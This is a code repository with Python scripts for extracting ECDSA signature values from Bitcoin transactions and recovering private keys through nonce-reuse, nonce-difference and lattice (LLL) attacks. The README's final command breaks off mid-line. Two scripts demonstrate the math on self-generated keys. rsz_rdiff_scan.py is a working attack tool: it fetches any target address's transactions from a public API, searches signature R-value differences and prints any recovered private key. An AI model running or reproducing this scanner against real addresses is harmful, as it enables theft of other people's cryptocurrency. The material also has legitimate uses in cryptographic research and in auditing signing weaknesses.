├── LICENSE ├── rsz_solve.py ├── getz_input.py ├── LLL_nonce_leakage.py ├── rsz_rdiff_scan.py └── README.md /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 iceland 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /rsz_solve.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | 4 | @author: iceland 5 | @credit: KV 6 | """ 7 | import random 8 | import secp256k1 as ice 9 | 10 | G = ice.scalar_multiplication(1) 11 | N = ice.N 12 | 13 | # ============================================================================== 14 | 15 | def inv(a): 16 | return pow(a, N - 2, N) 17 | 18 | 19 | def valid_rsz(r, s, z, pub_point): 20 | RP1 = ice.pub2upub('02' + hex(r)[2:].zfill(64)) 21 | RP2 = ice.pub2upub('03' + hex(r)[2:].zfill(64)) 22 | sdr = (s * inv(r)) % N 23 | zdr = (z * inv(r)) % N 24 | FF1 = ice.point_subtraction( ice.point_multiplication(RP1, sdr), 25 | ice.scalar_multiplication(zdr) ) 26 | FF2 = ice.point_subtraction( ice.point_multiplication(RP2, sdr), 27 | ice.scalar_multiplication(zdr) ) 28 | if FF1 == pub_point or FF2 == pub_point: 29 | return True 30 | else: 31 | return False 32 | 33 | 34 | def getk1(r1, s1, z1, r2, s2, z2, m): 35 | nr = (s2 * m * r1 + z1 * r2 - z2 * r1) % N 36 | dr = (s1 * r2 - s2 * r1) % N 37 | return (nr * inv(dr)) % N 38 | 39 | 40 | def getpvk(r1, s1, z1, r2, s2, z2, m): 41 | x1 = (s2 * z1 - s1 * z2 + m * s1 * s2) % N 42 | xi = inv((s1 * r2 - s2 * r1) % N) 43 | x = (x1 * xi) % N 44 | return x 45 | 46 | def getx(Q): 47 | return int(Q[1:33].hex(), 16) 48 | # ============================================================================== 49 | 50 | pvk = random.SystemRandom().randint(1, 2 ** 256) 51 | print('=' * 72) 52 | print(' True Privatekey = ', hex(pvk)) 53 | print('=' * 72) 54 | Q = ice.scalar_multiplication(pvk) 55 | 56 | k1 = random.SystemRandom().randint(1, 2 ** 256) 57 | P1 = ice.scalar_multiplication(k1) 58 | r1 = getx(P1) 59 | z1 = random.SystemRandom().randint(1, 2 ** 256) 60 | s1 = (inv(k1) * (z1 + r1 * pvk)) % N 61 | 62 | k2 = random.SystemRandom().randint(1, 2 ** 256) 63 | P2 = ice.scalar_multiplication(k2) 64 | r2 = getx(P2) 65 | z2 = random.SystemRandom().randint(1, 2 ** 256) 66 | s2 = (inv(k2) * (z2 + r2 * pvk)) % N 67 | 68 | diff = (k2 - k1) % N 69 | # ============================================================================== 70 | print(f'k1: {hex(k1)}\nr1: {hex(r1)}\ns1: {hex(s1)}\nz1: {hex(z1)}') 71 | if valid_rsz(r1, s1, z1, Q): print(' Tx1 Correct: rsz Validated the Pubkey') 72 | print('=' * 72) 73 | print(f'k2: {hex(k2)}\nr2: {hex(r2)}\ns2: {hex(s2)}\nz2: {hex(z2)}') 74 | if valid_rsz(r2, s2, z2, Q): print(' Tx2 Correct: rsz Validated the Pubkey') 75 | 76 | # ============================================================================== 77 | # Generation Complete. Now let's start to solve it using 2 rsz and diff. 78 | # ============================================================================== 79 | print('=' * 72) 80 | print(' Starting to solve rsz using difference of k between 2 Tx') 81 | k = getk1(r1, s1, z1, r2, s2, z2, diff) 82 | x = getpvk(r1, s1, z1, r2, s2, z2, diff) 83 | print(f' Extracted Privatekey = {hex(x)}') 84 | if getx(ice.scalar_multiplication(k)) == r1 or getx(ice.scalar_multiplication(k)) == r2: 85 | print(f'==== Nonce Found using 2 rsz diff = {hex(k)}') 86 | -------------------------------------------------------------------------------- /getz_input.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | 4 | @author: iceland 5 | """ 6 | import sys 7 | import secp256k1 as ice 8 | import argparse 9 | from urllib.request import urlopen 10 | #============================================================================== 11 | parser = argparse.ArgumentParser(description='This tool helps to get ECDSA Signature r,s,z values from Bitcoin rawtx or txid', 12 | epilog='Enjoy the program! :) Tips BTC: bc1q39meky2mn5qjq704zz0nnkl0v7kj4uz6r529at') 13 | 14 | parser.add_argument("-txid", help = "txid of the transaction. Automatically fetch rawtx from given txid", action="store") 15 | parser.add_argument("-rawtx", help = "Raw Transaction on the blockchain.", action="store") 16 | 17 | if len(sys.argv)==1: 18 | parser.print_help() 19 | sys.exit(1) 20 | args = parser.parse_args() 21 | #============================================================================== 22 | 23 | txid = args.txid if args.txid else '' 24 | rawtx = args.rawtx if args.rawtx else '' 25 | 26 | if rawtx == '' and txid == '': 27 | print('One of the required option missing -rawtx or -txid'); sys.exit(1) 28 | #============================================================================== 29 | 30 | def get_rs(sig): 31 | rlen = int(sig[2:4], 16) 32 | r = sig[4:4+rlen*2] 33 | # slen = int(sig[6+rlen*2:8+rlen*2], 16) 34 | s = sig[8+rlen*2:] 35 | return r, s 36 | 37 | def split_sig_pieces(script): 38 | sigLen = int(script[2:4], 16) 39 | sig = script[2+2:2+sigLen*2] 40 | r, s = get_rs(sig[4:]) 41 | pubLen = int(script[4+sigLen*2:4+sigLen*2+2], 16) 42 | pub = script[4+sigLen*2+2:] 43 | assert(len(pub) == pubLen*2) 44 | return r, s, pub 45 | 46 | 47 | # Returns list of this list [first, sig, pub, rest] for each input 48 | def parseTx(txn): 49 | if len(txn) <130: 50 | print('[WARNING] rawtx most likely incorrect. Please check..') 51 | sys.exit(1) 52 | inp_list = [] 53 | ver = txn[:8] 54 | if txn[8:12] == '0001': 55 | print('UnSupported Tx Input. Presence of Witness Data') 56 | sys.exit(1) 57 | inp_nu = int(txn[8:10], 16) 58 | 59 | first = txn[0:10] 60 | cur = 10 61 | for m in range(inp_nu): 62 | prv_out = txn[cur:cur+64] 63 | var0 = txn[cur+64:cur+64+8] 64 | cur = cur+64+8 65 | scriptLen = int(txn[cur:cur+2], 16) 66 | script = txn[cur:2+cur+2*scriptLen] #8b included 67 | r, s, pub = split_sig_pieces(script) 68 | seq = txn[2+cur+2*scriptLen:10+cur+2*scriptLen] 69 | inp_list.append([prv_out, var0, r, s, pub, seq]) 70 | cur = 10+cur+2*scriptLen 71 | rest = txn[cur:] 72 | return [first, inp_list, rest] 73 | 74 | #============================================================================== 75 | def get_rawtx_from_blockchain(txid): 76 | try: 77 | htmlfile = urlopen("https://blockchain.info/rawtx/%s?format=hex" % txid, timeout = 20) 78 | except: 79 | print('Unable to connect internet to fetch RawTx. Exiting..') 80 | sys.exit(1) 81 | else: res = htmlfile.read().decode('utf-8') 82 | return res 83 | # ============================================================================= 84 | 85 | def getSignableTxn(parsed): 86 | res = [] 87 | first, inp_list, rest = parsed 88 | tot = len(inp_list) 89 | for one in range(tot): 90 | e = first 91 | for i in range(tot): 92 | e += inp_list[i][0] # prev_txid 93 | e += inp_list[i][1] # var0 94 | if one == i: 95 | e += '1976a914' + HASH160(inp_list[one][4]) + '88ac' 96 | else: 97 | e += '00' 98 | e += inp_list[i][5] # seq 99 | e += rest + "01000000" 100 | z = ice.get_sha256(ice.get_sha256(bytes.fromhex(e))).hex() 101 | res.append([inp_list[one][2], inp_list[one][3], z, inp_list[one][4], e]) 102 | return res 103 | #============================================================================== 104 | def HASH160(pubk_hex): 105 | iscompressed = True if len(pubk_hex) < 70 else False 106 | P = ice.pub2upub(pubk_hex) 107 | return ice.pubkey_to_h160(0, iscompressed, P).hex() 108 | #============================================================================== 109 | 110 | #txn = '01000000028370ef64eb83519fd14f9d74826059b4ce00eae33b5473629486076c5b3bf215000000008c4930460221009bf436ce1f12979ff47b4671f16b06a71e74269005c19178384e9d267e50bbe9022100c7eabd8cf796a78d8a7032f99105cdcb1ae75cd8b518ed4efe14247fb00c9622014104e3896e6cabfa05a332368443877d826efc7ace23019bd5c2bc7497f3711f009e873b1fcc03222f118a6ff696efa9ec9bb3678447aae159491c75468dcc245a6cffffffffb0385cd9a933545628469aa1b7c151b85cc4a087760a300e855af079eacd25c5000000008b48304502210094b12a2dd0f59b3b4b84e6db0eb4ba4460696a4f3abf5cc6e241bbdb08163b45022007eaf632f320b5d9d58f1e8d186ccebabea93bad4a6a282a3c472393fe756bfb014104e3896e6cabfa05a332368443877d826efc7ace23019bd5c2bc7497f3711f009e873b1fcc03222f118a6ff696efa9ec9bb3678447aae159491c75468dcc245a6cffffffff01404b4c00000000001976a91402d8103ac969fe0b92ba04ca8007e729684031b088ac00000000' 111 | if rawtx == '': 112 | rawtx = get_rawtx_from_blockchain(txid) 113 | 114 | print('\nStarting Program...') 115 | 116 | m = parseTx(rawtx) 117 | e = getSignableTxn(m) 118 | 119 | for i in range(len(e)): 120 | print('='*70,f'\n[Input Index #: {i}]\n R: {e[i][0]}\n S: {e[i][1]}\n Z: {e[i][2]}\nPubKey: {e[i][3]}') 121 | 122 | -------------------------------------------------------------------------------- /LLL_nonce_leakage.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | @author: iceland 4 | @credit: KV, pianist-coder 5 | """ 6 | ################################################################################### 7 | import random 8 | import math 9 | import secp256k1 as ice 10 | import time 11 | from gmpy2 import mpq 12 | ################################################################################### 13 | N = ice.N 14 | fix_bits = 56 15 | out_file_name = 'pseudo_sig_rsz.txt' 16 | kbits = 256 - fix_bits 17 | ################################################################################### 18 | 19 | def reduction(input_vectors, tolerance): 20 | def gramschmidt_orthogonalization(vectors): 21 | num_vectors = len(vectors) 22 | basis = [None] * num_vectors 23 | for i in range(num_vectors): 24 | basis[i] = vectors[i].copy() 25 | for j in range(i): 26 | projection = sum(vectors[i][k] * basis[j][k] for k in range(len(vectors[i]))) / \ 27 | sum(basis[j][k] * basis[j][k] for k in range(len(basis[j]))) 28 | for k in range(len(vectors[i])): 29 | basis[i][k] -= projection * basis[j][k] 30 | return basis 31 | 32 | def update_orthogonal_vectors(orthogonalized, basis_vectors, index): 33 | j = index - 1 34 | while j >= 0: 35 | mu_kj = sum(x * y for x, y in zip(orthogonalized[j], basis_vectors[index])) / sum(x ** 2 for x in orthogonalized[j]) 36 | if abs(mu_kj) > 0.5: 37 | basis_vectors[index] = [v - round(mu_kj) * basis_vectors[j][k] for k, v in enumerate(basis_vectors[index])] 38 | j -= 1 39 | return basis_vectors 40 | 41 | num_vectors = len(input_vectors) 42 | basis_vectors = [None] * num_vectors 43 | basis_vectors = [[mpq(x) for x in vec] for vec in input_vectors] 44 | orthogonalized = gramschmidt_orthogonalization(basis_vectors) 45 | index = 1 46 | while index < num_vectors: 47 | basis_vectors = update_orthogonal_vectors(orthogonalized, basis_vectors, index) 48 | lhs_dot_lhs = sum(x ** 2 for x in orthogonalized[index - 1]) 49 | projection_coefficient = sum(x * y for x, y in zip(orthogonalized[index - 1], basis_vectors[index])) / lhs_dot_lhs 50 | dot_product = sum(x ** 2 for x in orthogonalized[index]) 51 | if dot_product >= (tolerance - projection_coefficient ** 2) * lhs_dot_lhs: 52 | index += 1 53 | else: 54 | basis_vectors[index], basis_vectors[index - 1] = basis_vectors[index - 1], basis_vectors[index] 55 | orthogonalized = gramschmidt_orthogonalization(basis_vectors) 56 | index = max(index - 1, 1) 57 | return [[int(x) for x in b] for b in basis_vectors] 58 | 59 | def write_rsz_file(rr, ss, zz, pb): 60 | with open(out_file_name, 'w') as f: 61 | sz = len(rr) 62 | for i in range(sz): 63 | f.write('r = ' + hex(rr[i])[2:].zfill(64) + '\n') 64 | f.write('s = ' + hex(ss[i])[2:].zfill(64) + '\n') 65 | f.write('z = ' + hex(zz[i])[2:].zfill(64) + '\n') 66 | f.write('pubkey = ' + pb.hex()) 67 | 68 | def modinv(v): 69 | return pow(v, N-2, N) 70 | 71 | def getx(Q): 72 | return int(Q[1:33].hex(), 16) 73 | 74 | def minimum_sigs_required(num_bits: int) -> int: 75 | return math.ceil(1.03 * 4 / 3 * 256 / num_bits) 76 | 77 | def identity_plus2(u, elem=1): 78 | result = [[0] * (u + 2) for _ in range(u)] 79 | for i in range(u): 80 | result[i][i] = elem 81 | return result 82 | 83 | if __name__ == '__main__': 84 | 85 | n = 1 + minimum_sigs_required(fix_bits) 86 | print(f'\n Fixed Nonce bits = {fix_bits} Minimum Signature Required = {n}') 87 | secret = random.randint(1, N) 88 | pub = ice.scalar_multiplication(secret) 89 | print('###############################################################################') 90 | print(f'secret: {hex(secret)[2:]}') 91 | print(f'Pubkey: {pub.hex()}') 92 | print('###############################################################################') 93 | 94 | fixed_k_prefix = random.randrange(2**kbits, N) 95 | z = [random.randrange(1, N) for i in range(n)] 96 | nonces = [random.randrange(1, 2**kbits) + fixed_k_prefix for i in range(n)] 97 | sigs_r = [getx(ice.scalar_multiplication(nonces[i])) for i in range(n)] 98 | mod_inv_nonces = [modinv(nonces[i]) for i in range(n)] 99 | sigs_s = [(z[i] + secret * sigs_r[i]) * mod_inv_nonces[i] % N for i in range(n)] 100 | sinv = [modinv(s) for s in sigs_s] 101 | write_rsz_file(sigs_r, sigs_s, z, pub) 102 | matrix = identity_plus2(n - 1, N) 103 | row, row2 = [], [] 104 | [zn, rn, sn] = [z[-1], sigs_r[-1], sigs_s[-1]] 105 | rnsn_inv = rn * modinv(sn) 106 | znsn_inv = zn * modinv(sn) 107 | 108 | for i in range(n-1): 109 | row.append((sigs_r[i] * modinv(sigs_s[i])) - rnsn_inv) 110 | row2.append((z[i] * modinv(sigs_s[i])) - znsn_inv) 111 | 112 | row.append((2**kbits) / N) 113 | row.append(0) 114 | row2.append(0) 115 | row2.append(2**kbits) 116 | 117 | matrix.append(row) 118 | matrix.append(row2) 119 | 120 | print(' Original Matrix') 121 | print(matrix) 122 | 123 | start = time.time() 124 | new_matrix = reduction(matrix, 0.35) 125 | 126 | print('\n\n Reduced Matrix') 127 | print(new_matrix) 128 | ################################################################################### 129 | for row in new_matrix: 130 | potential_nonce_diff = row[0] 131 | sigs_s_0 = sigs_s[0] 132 | zn_times_sigs_s_0 = zn * sigs_s_0 133 | sn_times_z_0 = sn * z[0] 134 | sn_times_sigs_s_0_times_potential_nonce_diff = sn * sigs_s_0 * potential_nonce_diff 135 | denominator = (rn * sigs_s_0) - (sigs_r[0] * sn) 136 | denominator_inv = modinv(denominator) 137 | potential_priv_key = (sn_times_z_0 - zn_times_sigs_s_0 - sn_times_sigs_s_0_times_potential_nonce_diff) * denominator_inv % N 138 | 139 | if ice.scalar_multiplication(potential_priv_key) == pub: 140 | print('-'*79) 141 | print(f' Found private key = {hex(potential_priv_key)[2:]}') 142 | print('-'*79) 143 | ################################################################################### 144 | end = time.time() 145 | print(f"time = {end - start:.2f} sec") -------------------------------------------------------------------------------- /rsz_rdiff_scan.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | 4 | @author: iceland 5 | """ 6 | import sys 7 | import json 8 | import argparse 9 | from urllib.request import urlopen 10 | # from itertools import combinations 11 | import secp256k1 as ice 12 | 13 | G = ice.scalar_multiplication(1) 14 | N = ice.N 15 | ZERO = ice.Zero 16 | #============================================================================== 17 | parser = argparse.ArgumentParser(description='This tool helps to get ECDSA Signature r,s,z values from Bitcoin Address. Also attempt to solve \ 18 | for privatekey using Rvalues successive differencing mathematics using bsgs table in RAM.', 19 | epilog='Enjoy the program! :) Tips BTC: bc1q39meky2mn5qjq704zz0nnkl0v7kj4uz6r529at') 20 | 21 | parser.add_argument("-a", help = "Address to search for its rsz from the transactions", required="True") 22 | 23 | bP = 100000000 24 | 25 | if len(sys.argv)==1: 26 | parser.print_help() 27 | sys.exit(1) 28 | args = parser.parse_args() 29 | 30 | address = args.a if args.a else '' 31 | 32 | if address == '': 33 | print('One of the required option is missing -a'); sys.exit(1) 34 | #============================================================================== 35 | def get_rs(sig): 36 | rlen = int(sig[2:4], 16) 37 | r = sig[4:4+rlen*2] 38 | # slen = int(sig[6+rlen*2:8+rlen*2], 16) 39 | s = sig[8+rlen*2:] 40 | return r, s 41 | #============================================================================== 42 | def split_sig_pieces(script): 43 | sigLen = int(script[2:4], 16) 44 | sig = script[2+2:2+sigLen*2] 45 | r, s = get_rs(sig[4:]) 46 | pubLen = int(script[4+sigLen*2:4+sigLen*2+2], 16) 47 | pub = script[4+sigLen*2+2:] 48 | assert(len(pub) == pubLen*2) 49 | return r, s, pub 50 | #============================================================================== 51 | 52 | # Returns list of this list [first, sig, pub, rest] for each input 53 | def parseTx(txn): 54 | if len(txn) <130: 55 | print('[WARNING] rawtx most likely incorrect. Please check..') 56 | sys.exit(1) 57 | inp_list = [] 58 | ver = txn[:8] 59 | if txn[8:12] == '0001': 60 | print('UnSupported Tx Input. Presence of Witness Data') 61 | sys.exit(1) 62 | inp_nu = int(txn[8:10], 16) 63 | 64 | first = txn[0:10] 65 | cur = 10 66 | for m in range(inp_nu): 67 | prv_out = txn[cur:cur+64] 68 | var0 = txn[cur+64:cur+64+8] 69 | cur = cur+64+8 70 | scriptLen = int(txn[cur:cur+2], 16) 71 | script = txn[cur:2+cur+2*scriptLen] #8b included 72 | r, s, pub = split_sig_pieces(script) 73 | seq = txn[2+cur+2*scriptLen:10+cur+2*scriptLen] 74 | inp_list.append([prv_out, var0, r, s, pub, seq]) 75 | cur = 10+cur+2*scriptLen 76 | rest = txn[cur:] 77 | return [first, inp_list, rest] 78 | #============================================================================== 79 | 80 | def get_rawtx_from_blockchain(txid): 81 | try: 82 | htmlfile = urlopen("https://blockchain.info/rawtx/%s?format=hex" % txid, timeout = 20) 83 | except: 84 | print('Unable to connect internet to fetch RawTx. Exiting..') 85 | sys.exit(1) 86 | else: res = htmlfile.read().decode('utf-8') 87 | return res 88 | #============================================================================== 89 | 90 | def getSignableTxn(parsed): 91 | res = [] 92 | first, inp_list, rest = parsed 93 | tot = len(inp_list) 94 | for one in range(tot): 95 | e = first 96 | for i in range(tot): 97 | e += inp_list[i][0] # prev_txid 98 | e += inp_list[i][1] # var0 99 | if one == i: 100 | e += '1976a914' + HASH160(inp_list[one][4]) + '88ac' 101 | else: 102 | e += '00' 103 | e += inp_list[i][5] # seq 104 | e += rest + "01000000" 105 | z = ice.get_sha256(ice.get_sha256(bytes.fromhex(e))).hex() 106 | res.append([inp_list[one][2], inp_list[one][3], z, inp_list[one][4], e]) 107 | return res 108 | #============================================================================== 109 | def HASH160(pubk_hex): 110 | iscompressed = True if len(pubk_hex) < 70 else False 111 | P = ice.pub2upub(pubk_hex) 112 | return ice.pubkey_to_h160(0, iscompressed, P).hex() 113 | #============================================================================== 114 | 115 | # def diff_comb(alist): 116 | # return [ice.point_subtraction(x, y) for x, y in combinations(alist, 2)] 117 | 118 | def diff_comb_idx(alist): 119 | LL = len(alist) 120 | RDD = [] 121 | for i in range(LL): 122 | for j in range(i+1, LL): 123 | RDD.append((i, j, ice.point_subtraction(alist[i], alist[j]))) 124 | RDD.append((i, j, ice.point_addition(alist[i], alist[j]))) 125 | # return [(i, j, ice.point_subtraction(alist[i], alist[j])) for i in range(LL) for j in range(i+1, LL)] 126 | return RDD 127 | #============================================================================== 128 | def inv(a): 129 | return pow(a, N - 2, N) 130 | 131 | def calc_RQ(r, s, z, pub_point): 132 | # r, s, z in int format and pub_point in upub bytes 133 | RP1 = ice.pub2upub('02' + hex(r)[2:].zfill(64)) 134 | RP2 = ice.pub2upub('03' + hex(r)[2:].zfill(64)) 135 | sdr = (s * inv(r)) % N 136 | zdr = (z * inv(r)) % N 137 | FF1 = ice.point_subtraction( ice.point_multiplication(RP1, sdr), 138 | ice.scalar_multiplication(zdr) ) 139 | FF2 = ice.point_subtraction( ice.point_multiplication(RP2, sdr), 140 | ice.scalar_multiplication(zdr) ) 141 | if FF1 == pub_point: 142 | print('======== RSZ to PubKey Validation [SUCCESS] ========') 143 | return RP1 144 | if FF2 == pub_point: 145 | print('======== RSZ to PubKey Validation [SUCCESS] ========') 146 | return RP2 147 | return '======== RSZ to PubKey Validation [FAIL] ========' 148 | 149 | def getk1(r1, s1, z1, r2, s2, z2, m): 150 | nr = (s2 * m * r1 + z1 * r2 - z2 * r1) % N 151 | dr = (s1 * r2 - s2 * r1) % N 152 | return (nr * inv(dr)) % N 153 | 154 | 155 | def getpvk(r1, s1, z1, r2, s2, z2, m): 156 | x1 = (s2 * z1 - s1 * z2 + m * s1 * s2) % N 157 | xi = inv((s1 * r2 - s2 * r1) % N) 158 | x = (x1 * xi) % N 159 | return x 160 | 161 | def all_pvk_candidate(r1, s1, z1, r2, s2, z2, m): 162 | xi = [] 163 | xi.append( getpvk(r1, s1, z1, r2, s2, z2, m) ) 164 | xi.append( getpvk(r1, -s1%N, z1, r2, s2, z2, m) ) 165 | xi.append( getpvk(r1, -s1%N, z1, r2, -s2%N, z2, m) ) 166 | xi.append( getpvk(r1, s1, z1, r2, -s2%N, z2, m) ) 167 | return xi 168 | #============================================================================== 169 | def check_tx(address): 170 | txid = [] 171 | cdx = [] 172 | ccount = 0 173 | try: 174 | htmlfile = urlopen(f'https://mempool.space/api/address/{address}/txs/chain', timeout = 20) 175 | except: 176 | print('Unable to connect internet to fetch RawTx. Exiting..') 177 | sys.exit(1) 178 | else: 179 | while True: 180 | # current single fetch limit = 25. Loop added for getting all Tx. 181 | res = json.loads(htmlfile.read()) 182 | txcount = len(res) 183 | if txcount == 0: 184 | break 185 | ccount += txcount 186 | lasttxid = res[-1]['txid'] 187 | print(f'Reading: Tx {ccount-txcount}:{ccount} Input/Output Transactions from the Address: {address}') 188 | for i in range(txcount): 189 | vin_cnt = len(res[i]["vin"]) 190 | for j in range(vin_cnt): 191 | if res[i]["vin"][j]["prevout"]["scriptpubkey_address"] == address: 192 | txid.append(res[i]["txid"]) 193 | cdx.append(j) 194 | # scriptsig = res[i]["vin"][j]["scriptsig"] 195 | # print(f'Txid: {txid[-1]} Index: {cdx[-1]} Scriptsig: {scriptsig}') 196 | try: 197 | htmlfile = urlopen(f'https://mempool.space/api/address/{address}/txs/chain/{lasttxid}', timeout = 20) 198 | except: 199 | print('Unable to connect internet to fetch more RawTx. continuing...') 200 | break 201 | return txid, cdx 202 | #============================================================================== 203 | 204 | print('\nStarting Program...') 205 | #address = '1JtAupan5MSPXxSsWFiwA79bY9LD2Ga1je' 206 | # 1FdJa233RjptkxJv8MrezooSMkSgwrLJPV 207 | # 1BFhrfTTZP3Nw4BNy4eX4KFLsn9ZeijcMm 208 | 209 | print('-'*120) 210 | txid, cdx = check_tx(address) 211 | d = set([txid[i] +'BS'+ str(cdx[i]) for i in range(len(txid))]) 212 | txid = [line.split('BS')[0] for line in d] 213 | cdx = [int(line.split('BS')[1]) for line in d] 214 | print(f'Total {len(txid)} outgoing unique Tx fetched from the Address {address}') 215 | 216 | # list(filter(lambda i: txid[i] == 'anyTx', range(len(txid)))) 217 | RQ, rL, sL, zL, QL = [], [], [], [], [] 218 | 219 | for c in range(len(txid)): 220 | rawtx = get_rawtx_from_blockchain(txid[c]) 221 | try: 222 | m = parseTx(rawtx) 223 | e = getSignableTxn(m) 224 | for i in range(len(e)): 225 | if i == cdx[c]: 226 | rL.append( int( e[i][0], 16) ) 227 | sL.append( int( e[i][1], 16) ) 228 | zL.append( int( e[i][2], 16) ) 229 | QL.append( ice.pub2upub(e[i][3]) ) 230 | print('='*70,f'\n[Input Index #: {i}] [txid: {txid[c]}]\n R: {e[i][0]}\n S: {e[i][1]}\n Z: {e[i][2]}\nPubKey: {e[i][3]}') 231 | except: print(f'Skipped the Tx [{txid[c]}]........') 232 | 233 | print('='*70); print('-'*120) 234 | 235 | #============================================================================== 236 | for c in range(len(rL)): 237 | RQ.append( calc_RQ( rL[c], sL[c], zL[c], QL[c] ) ) 238 | if len(QL) > 0: pub_point_Q = QL[0] 239 | 240 | # RD = diff_comb(RQ) 241 | RD = diff_comb_idx(RQ) 242 | 243 | print('RQ = ') 244 | for i in RQ: print(f'{i.hex()}') 245 | print('='*70); 246 | print('RD = ') 247 | for i in RD: print(f'{i[2].hex()}') 248 | print('-'*120) 249 | for i in RD: 250 | if i[2] == ZERO: print(f'Duplicate R Found. Congrats!. {i[0], i[1], i[2].hex()}') 251 | #============================================================================== 252 | 253 | # Time and RAM intensive process to make bigger Table 254 | print(f'Starting to prepare BSGS Table with {bP} elements') 255 | ice.bsgs_2nd_check_prepare(bP) 256 | 257 | solvable_diff = [] 258 | for Q in RD: 259 | found, diff = ice.bsgs_2nd_check(Q[2], -1) 260 | if found == True: 261 | solvable_diff.append((Q[0], Q[1], diff.hex())) 262 | 263 | #============================================================================== 264 | print('='*70); print('-'*120) 265 | for i in solvable_diff: 266 | print(f'[i={i[0]}] [j={i[1]}] [R Diff = {i[2]}]') 267 | # k = getk1(rL[i[0]], sL[i[0]], zL[i[0]], rL[i[1]], sL[i[1]], zL[i[1]], int( i[2], 16) ) 268 | # d = getpvk(rL[i[0]], sL[i[0]], zL[i[0]], rL[i[1]], sL[i[1]], zL[i[1]], int( i[2], 16) ) 269 | di = all_pvk_candidate(rL[i[0]], sL[i[0]], zL[i[0]], rL[i[1]], sL[i[1]], zL[i[1]], int( i[2], 16) ) 270 | for d in di: 271 | if ice.scalar_multiplication(d) == pub_point_Q: 272 | print(f'Privatekey FOUND: {hex(d)} Address: {address}') 273 | # else: print(f'Privatekey MISSED: {hex(d)}') 274 | print('='*70); print('-'*120) 275 | FdupR = [i.hex()[2:66] for i in RQ] 276 | if len(FdupR) != len(set(FdupR)): print(f'Duplicate R Vulnerability exists in this Address: {address}') 277 | print('Program Finished ...') 278 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # rsz 2 | Retrieve ECDSA signature R,S,Z values from blockchain rawtx or txid. 3 | 4 | ## Info 5 | The script parse the data of rawtx to fetch all the inputs in the transaction and reconstructs the unsigned message for each of them 6 | to find the Z value. The result is given as R,S,Z,Pubkey for each of the inputs present in the rawtx data. _**[No Internet required]**_ 7 | 8 | If txid is given, instead of rawtx then blockchain API is used to fetch the details of rawtx and then R,S,Z calculation starts. _**[Internet required]**_ 9 | 10 | ## Requirements 11 | The required library (3 files) can be obtained from the location https://github.com/iceland2k14/secp256k1 12 | 13 | ## Math 14 | ![image](https://github.com/iceland2k14/rsz/assets/75991805/b90164c8-a361-428b-b3d5-a6044782c59e) 15 | ![image](https://github.com/iceland2k14/rsz/assets/75991805/a3dd36ed-3eb4-4a7b-ae3e-44968e34631f) 16 | 17 | ## Usage: Python 3 18 | ```python getz_input.py``` 19 | 20 | ## Run 21 | ``` 22 | usage: getz_input.py [-h] [-txid TXID] [-rawtx RAWTX] 23 | 24 | This tool helps to get ECDSA Signature r,s,z values from Bitcoin rawtx or txid 25 | 26 | optional arguments: 27 | -h, --help show this help message and exit 28 | -txid TXID txid of the transaction. Use Internet to fetch rawtx from 29 | given txid 30 | -rawtx RAWTX Raw Transaction on the blockchain. No internet required 31 | 32 | Enjoy the program! :) Tips BTC: bc1q39meky2mn5qjq704zz0nnkl0v7kj4uz6r529at 33 | ``` 34 | 35 | ``` 36 | (base) C:\anaconda3\RSZ>python getz_input.py -txid 82e5e1689ee396c8416b94c86aed9f4fe793a0fa2fa729df4a8312a287bc2d5e 37 | 38 | Starting Program... 39 | ====================================================================== 40 | [Input Index #: 0] 41 | R: 009bf436ce1f12979ff47b4671f16b06a71e74269005c19178384e9d267e50bbe9 42 | S: 00c7eabd8cf796a78d8a7032f99105cdcb1ae75cd8b518ed4efe14247fb00c9622 43 | Z: 9f4503ab6cae01b9fc124e40de9f3ec3cb7a794129aa3a5c2dfec3809f04c354 44 | PubKey: 04e3896e6cabfa05a332368443877d826efc7ace23019bd5c2bc7497f3711f009e873b1fcc03222f118a6ff696efa9ec9bb3678447aae159491c75468dcc245a6c 45 | ====================================================================== 46 | [Input Index #: 1] 47 | R: 0094b12a2dd0f59b3b4b84e6db0eb4ba4460696a4f3abf5cc6e241bbdb08163b45 48 | S: 07eaf632f320b5d9d58f1e8d186ccebabea93bad4a6a282a3c472393fe756bfb 49 | Z: 94bbf25ba5b93ba78ee017eff80c986ee4e87804bee5770fae5b486f05608d95 50 | PubKey: 04e3896e6cabfa05a332368443877d826efc7ace23019bd5c2bc7497f3711f009e873b1fcc03222f118a6ff696efa9ec9bb3678447aae159491c75468dcc245a6c 51 | ``` 52 | 53 | ``` 54 | (base) C:\anaconda3\RSZ>python getz_input.py -rawtx 